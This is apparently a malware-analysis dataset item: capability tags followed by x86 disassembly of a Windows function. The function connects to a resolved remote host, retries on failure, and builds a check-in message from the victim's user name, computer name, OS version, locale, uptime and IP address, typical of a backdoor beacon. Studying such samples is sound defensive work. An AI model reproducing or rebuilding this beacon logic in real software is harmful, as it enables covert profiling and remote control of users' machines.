Function at 0x1315ba80
Capabilities:
Act as tcp client
Check os version
Connect socket
Connect tcp socket
Create tcp socket
Get geographical location
Get hostname
Get local ipv4 addresses
Get session user name
Get socket information
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1268
call fcn.1319a420
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x1264], eax
push esi
push edi
xor esi, esi
mov dword [esp + 0x14], 0x400
mov dword [esp + 0x18], 0x400
lea eax, [esp + 0xd8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov edx, 0x131da79c
mov eax, 2
mov dword [esp + 0xc], edi
mov word [esp + 0x30], ax
mov ecx, 0x13bfd958
nop dword [eax + eax]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1315bb10
test al, al
je 0x1315bb0c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1315bb10
add ecx, 2
add edx, 2
test al, al
jne 0x1315baf0
xor eax, eax
jmp 0x1315bb15
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1315bb55
test esi, esi
jne 0x1315bb35
xor ecx, ecx
nop
mov al, byte [ecx + 0x13c26568]
lea ecx, [ecx + 1]
mov byte [ecx + 0x131fbe07], al
test al, al
jne 0x1315bb20
jmp 0x1315bb73
cmp esi, 1
jne 0x1315bb73
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x131fc170]
lea ecx, [ecx + 1]
mov byte [ecx + 0x131fbe07], al
test al, al
jne 0x1315bb40
jmp 0x1315bb73
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + 0x13c26568]
lea eax, [eax + 1]
mov byte [eax + 0x131fbe07], cl
test cl, cl
jne 0x1315bb60
push 0x131fbe08
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x1315bb9e
push 0x131fbe08
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1315bb97
or eax, 0xffffffff
jmp 0x1315bb9e
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 0x13bfd944
mov dword [0x131fd62c], eax
call fcn.131a85ab
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x32], ax
mov eax, dword [0x131fd62c]
mov dword [esp + 0x34], eax
test eax, eax
jne 0x1315bbec
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, 1
jmp 0x1315bab2
push 0x10
lea eax, [esp + 0x34]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1315bc29
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
cmp esi, 1
setne al
mov esi, eax
jmp 0x1315bab2
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x10
push eax
lea eax, [esp + 0x24]
xorps xmm0, xmm0
push eax
push edi
movaps xmmword [esp + 0x2c], xmm0
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0xa6c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea ecx, [esp + 0xa68]
call fcn.13146380
lea edx, [esp + 0x668]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315bc72
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xe6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [esp + 0xe68]
call fcn.13146380
lea edx, [esp + 0x568]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315bca7
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x44]
cmp eax, 4
jne 0x1315bd22
mov eax, dword [esp + 0x48]
test eax, eax
jne 0x1315bd03
mov eax, dword [esp + 0x50]
cmp eax, 1
jne 0x1315bceb
mov ecx, 0x131da7c8
jmp 0x1315bd9c
cmp eax, 2
jne 0x1315bcfa
mov ecx, 0x131da7cc
jmp 0x1315bd9c
mov ecx, dword [esp + 0xc]
jmp 0x1315bd9c
cmp eax, 0xa
jne 0x1315bd12
mov ecx, 0x131da7d0
jmp 0x1315bd9c
cmp eax, 0x5a
jne 0x1315bd97
mov ecx, 0x131da7d4
jmp 0x1315bd9c
cmp eax, 5
jne 0x1315bd4e
mov eax, dword [esp + 0x48]
test eax, eax
jne 0x1315bd36
mov ecx, str.2000
jmp 0x1315bd9c
cmp eax, 1
jne 0x1315bd42
mov ecx, 0x131da7e0
jmp 0x1315bd9c
cmp eax, 2
jne 0x1315bd97
mov ecx, str.2003
jmp 0x1315bd9c
cmp eax, 6
jne 0x1315bd86
mov eax, dword [esp + 0x48]
test eax, eax
jne 0x1315bd62
mov ecx, str.Vista
jmp 0x1315bd9c
cmp eax, 1
jne 0x1315bd6e
mov ecx, str.Seven
jmp 0x1315bd9c
cmp eax, 2
jne 0x1315bd7a
mov ecx, str.Eight
jmp 0x1315bd9c
cmp eax, 3
jne 0x1315bd97
mov ecx, str.Eight__8.1_
jmp 0x1315bd9c
cmp eax, 0xa
jne 0x1315bd97
cmp dword [esp + 0x48], 0
mov ecx, 0x131da810
je 0x1315bd9c
mov ecx, 0x131da814
lea edx, [esp + 0x268]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1315bda5
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
push 0x64
lea eax, [esp + 0x49c]
mov esi, edx
push 0
push eax
shr esi, 6
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0x498]
push 0x64
push eax
push 7
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
call fcn.13146d30
cmp byte [0x131eec9a], 1
mov edi, 0x31
mov eax, 0x30
mov word [esp + 0x430], di
je 0x1315be19
mov word [esp + 0x430], ax
cmp byte [0x131eec61], 1
mov word [esp + 0x3c8], di
je 0x1315be32
mov word [esp + 0x3c8], ax
cmp byte [0x131eec63], 1
mov word [esp + 0x360], di
je 0x1315be4b
mov word [esp + 0x360], ax
call fcn.1314c480
cmp al, 1
jne 0x1315be5e
mov word [esp + 0x2f8], di
jmp 0x1315be6b
mov eax, 0x30
mov word [esp + 0x2f8], ax
call fcn.1314c530
cmp al, 1
jne 0x1315be7e
mov word [esp + 0x290], di
jmp 0x1315be8b
mov eax, 0x30
mov word [esp + 0x290], ax
call fcn.131550d0
lea edx, [esp + 0x500]
sub edx, eax
nop dword [eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315bea0
movzx eax, byte [esp + 0x27]
push eax
movzx eax, byte [esp + 0x2a]
push eax
movzx eax, byte [esp + 0x2d]
push eax
movzx eax, byte [esp + 0x30]
push eax
lea eax, [esp + 0x28c]
push str._d._d._d._d
push eax
call fcn.13141a40
mov eax, 0xc22e4507
mov ecx, 0xe10
imul esi
add esp, 0x18
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x1c], eax
imul eax, eax, 0x15180
push 0x13c26490
sub esi, eax
mov eax, esi
cdq
idiv ecx
mov edi, eax
mov esi, edx
lea eax, [esp + 0x294]
push eax
push 0x131fc2a0
lea eax, [esp + 0x50c]
push eax
push 0x13c2655c
push 0x131fb998
lea eax, [esp + 0x310]
push eax
lea eax, [esp + 0x37c]
push eax
lea eax, [esp + 0x3e8]
push eax
lea eax, [esp + 0x454]
push eax
call fcn.13155a00
push eax
mov eax, 0x88888889
imul esi
push 0x131fe8d8
push 0x13bfd32c
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push edi
push dword [esp + 0x58]
lea eax, [esp + 0x2a8]
push eax
lea eax, [esp + 0x6ac]
push eax
lea eax, [esp + 0x5b0]
push eax
lea eax, [esp + 0x2c8]
push eax
push 0x13c24ed0
push str._O12HYV
lea eax, [esp + 0x8c0]
push str._s__s__s__s__s__s__dd__dh__dm__s__s__s__s__s__s__s__s__s__s__s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [esp + 0x6c]
lea edx, [esp + 0x8c8]
add esp, 0x60
mov dword [0x131fba04], ecx
call fcn.13145790
call fcn.13155ee0
int3